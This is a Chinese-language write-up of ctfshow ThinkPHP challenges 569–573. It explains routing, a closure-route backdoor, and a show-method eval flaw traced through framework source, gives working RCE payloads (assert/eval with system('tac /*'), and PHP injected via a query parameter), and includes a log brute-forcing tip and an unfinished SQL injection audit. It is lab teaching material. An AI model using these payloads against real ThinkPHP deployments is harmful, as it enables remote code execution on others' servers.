CTFshowThinkPHP专题

ThinkPHP

一些ThinkPHP的基础知识:

  1. 关于ThinkPHP的模块化设计
  2. 关于ThinkPHP的闭包支持

569

知道模块化设计就很简单了

典型访问规则
http://serverName/index.php(或者其他应用入口文件)/模块/控制器/操作/[参数名/参数值...]
/index.php/Admin/Login/ctfshowLogin

570

闭包路由,类似于将/后路径作为参数传入,设定闭包路由的文件在文件根目录/Common/Conf/config.php中

   'URL_ROUTER_ON'   => true, 
'URL_ROUTE_RULES' => array(
   'ctfshow/:f/:a' =>function($f,$a){
   	call_user_func($f, $a);
   	}
   )

一个明显的后门,payload如下

/index.php/ctfshow/assert/eval($_POST[1])
POST:
1=system('tac /*');

571

show方法导致的命令执行

渲染内容

如果你没有定义任何模板文件,或者把模板内容存储到数据库中的话,你就需要使用show方法来渲染输出了,show方法的调用格式:

show('渲染内容'[,'字符编码'][,'输出类型'])例如,$this->show($content);
也可以指定编码和类型: $this->show($content, 'utf-8', 'text/xml');

那么我们去看看show方法到底执行了什么

protected function show($content,$charset='',$contentType='',$prefix='') {
    $this->view->display('',$charset,$contentType,$content,$prefix);
}

往下看调用的display方法

public function display($templateFile='',$charset='',$contentType='',$content='',$prefix='') {
    G('viewStartTime');
    // 视图开始标签
    Hook::listen('view_begin',$templateFile);
    // 解析并获取模板内容
    $content = $this->fetch($templateFile,$content,$prefix);
    // 输出模板内容
    $this->render($content,$charset,$contentType);
    // 视图结束标签
    Hook::listen('view_end');
}
public function fetch($templateFile='',$content='',$prefix='') {
    if(empty($content)) {
        $templateFile   =   $this->parseTemplate($templateFile);
        // 模板文件不存在直接返回
        if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_').':'.$templateFile);
    }else{
        defined('THEME_PATH') or    define('THEME_PATH', $this->getThemePath());
    }
    // 页面缓存
    ob_start();
    ob_implicit_flush(0);
    if('php' == strtolower(C('TMPL_ENGINE_TYPE'))) { // 使用PHP原生模板
        $_content   =   $content;
        // 模板阵列变量分解成为独立变量
        extract($this->tVar, EXTR_OVERWRITE);
        // 直接载入PHP模板
        empty($_content)?include $templateFile:eval('?>'.$_content);
    }else{
        // 视图解析标签
        $params = array('var'=>$this->tVar,'file'=>$templateFile,'content'=>$content,'prefix'=>$prefix);
        Hook::listen('view_parse',$params);
    }
    // 获取并清空缓存
    $content = ob_get_clean();
    // 内容过滤标签
    Hook::listen('view_filter',$content);
    // 输出模板文件
    return $content;
}

TMPL_ENGINE_TYPE=='php'时,关键就在这句话了include $templateFile:eval('?>'.$_content);此处的$_content我们是完全可控的,也就可以执行任意命令

而当TMPL_ENGINE_TYPE!='php'时,执行的Hook中的listen方法,然后执行exec方法,然后run方法,最后加载并包含一个缓存文件

static public function listen($tag, &$params=NULL) {
    if(isset(self::$tags[$tag])) {
        if(APP_DEBUG) {
            G($tag.'Start');
            trace('[ '.$tag.' ] --START--','','INFO');
        }
        foreach (self::$tags[$tag] as $name) {
            APP_DEBUG && G($name.'_start');
            $result =   self::exec($name, $tag,$params);
            if(APP_DEBUG){
                G($name.'_end');
                trace('Run '.$name.' [ RunTime:'.G($name.'_start',$name.'_end',6).'s ]','','INFO');
            }
            if(false === $result) {
                // 如果返回false 则中断插件执行
                return ;
            }
        }
        if(APP_DEBUG) { // 记录行为的执行日志
            trace('[ '.$tag.' ] --END-- [ RunTime:'.G($tag.'Start',$tag.'End',6).'s ]','','INFO');
        }
    }
    return;
}
public function load($_filename,$vars=null){
    if(!is_null($vars))
        extract($vars, EXTR_OVERWRITE);
    eval('?>'.$this->read($_filename));
}

最终payload

/index.php/Home/Index/index?n=<?php%20system(%27tac%20/*%27);?>

572

ThinkPHP日志文件

题目中提到了爆破,在thinkphp开启debug的情况下会在Runtime目录下生成log文件,文件的名称是以年_月_日.log来命名的。所以我们可以来爆破文件名

/Application/Runtime/Logs/Home/xx_xx_xx.log

扫出了这么个文件,发现似乎传参showctf可执行php代码,拿到flag

573

ThinkPHP 3.2.3sql注入漏洞

先写个可以调用内置sql查询的主页

class IndexController extends Controller {
    public function index(){
    $a=M('xxx');  //表名
    $id=I('GET.id');
    $b=$a->find($id);
    var_dump($b);
    }
}

在I方法中对输入的内容进行过滤,默认过滤器DEFAULT_FILTER是不会对单引号做过滤操作的,所以此处不用管,下面走think_filter方法,这里对一些敏感安全内容进行了过滤

function think_filter(&$value){
	// TODO 其他安全过滤
	// 过滤查询特殊字符
    if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){
        $value .= ' ';
    }
}

OK,输入检查完毕,我们输入的内容进入到find方法中,这里的注释也对我们传入的参数做了详细的解释,下一步进一步跟踪_parseOptions方法,继续跟踪_parseType方法,该方法对内容类型进行解析

/**
 * 查询数据
 * @access public
 * @param mixed $options 表达式参数
 * @return mixed
 */
if(is_scalar($val)) {
    $this->_parseType($options['where'],$key);
}
elseif(false === strpos($fieldType,'bigint') && false !== strpos($fieldType,'int')) {
                $data[$key]   =  intval($data[$key]);

先放一个yu师傅的代码审计,以后再回来看

574